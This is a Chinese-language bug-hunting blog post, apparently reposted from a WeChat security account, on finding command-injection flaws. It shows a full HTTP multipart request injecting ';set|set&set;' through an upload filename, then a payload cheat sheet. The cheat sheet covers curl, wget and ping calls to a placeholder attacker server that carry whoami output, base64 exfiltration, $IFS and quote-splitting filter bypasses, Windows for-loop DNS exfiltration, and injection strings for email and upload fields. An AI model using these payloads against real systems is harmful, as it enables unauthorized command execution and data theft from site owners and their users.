1.1 前言
1.2 漏洞挖掘
1.2.1 Email案例分享:
文件上传处:存在问题参数filename:
filename输入基础命令探测:`sleep 5`
发现出现了很大的延迟(网站本身延迟+5)
基本可以判断出可能存在命令执行漏洞。
使用curl发起请求:
第三方平台成功响应
命令执行到文件读取:
POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="submit"
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="ver"
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="file"; filename=";set|set&set;"
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—
列出所有系统路径。他这里fuzz的技巧很好,一般我们测试命令注入都是|payload亦或是&payload,亦或是;payload,他这里把三种测试方法都归到一块变成: ;payload|payload&payload
payload可以是直接回显的set或者是ls等参数,也可以是远程curl,wget探测!
凡是name,filename等参数是很容易爆发出命令执行漏洞的,这些参数是我们fuzz中重点的关照对象。我们一定要对这些点进行多测试!
1.2.4 其他信息收集到的命令执行真实案例:
还有哪些地方可能存在命令执行呢?发动你的思维,在url参数上,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,很大可能调用系统命令如curl,那么在文件下载处就很大概率会调用wget!在查看图片,查看文件等地方可能会使用cat命令等,在文件删除上,我们可能会用到rm命令!一切皆有可能!
最后!!!!!!
1.3 我的rce挖掘小手册分享:
Window下||和&
linux下||和&
Linux下过滤空格可以使用:${IFS},$IFS,$IFS$9
JSON格式下的测试:
u000awgetu0020 http://服务器地址
Linux下可以包括反引号,windows下不可以。
Linux下正常测试rce:
curl http://服务器地址/`whoami`
ping `whoami`.服务器地址
一些绕过姿势:
curl http://服务器地址/$(whoami)
curl http://服务器地址/$(whoami|base64)
'w'g'e't${IFS}服务器地址
Windows下rce探测:
ping %USERNAME%.服务器地址
for /F %x in ('whoami') do start http://服务器地址/%x(获取计算机名)
for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.服务器地址(获取用户名)
测试邮箱:`wget%209服务器地址/xxxx`@qq.com
测试上传:`sleep 10`filename
测试filenname:||wget%20服务器地址
测试上传处下的名称: ;payload|payload&payload
原文地址:https://www.cnblogs.com/piaomiaohongchen/p/10753590.html
历史文章推荐:
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽
原文始发于微信公众号(橘猫学安全):命令执行漏洞挖掘技巧分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论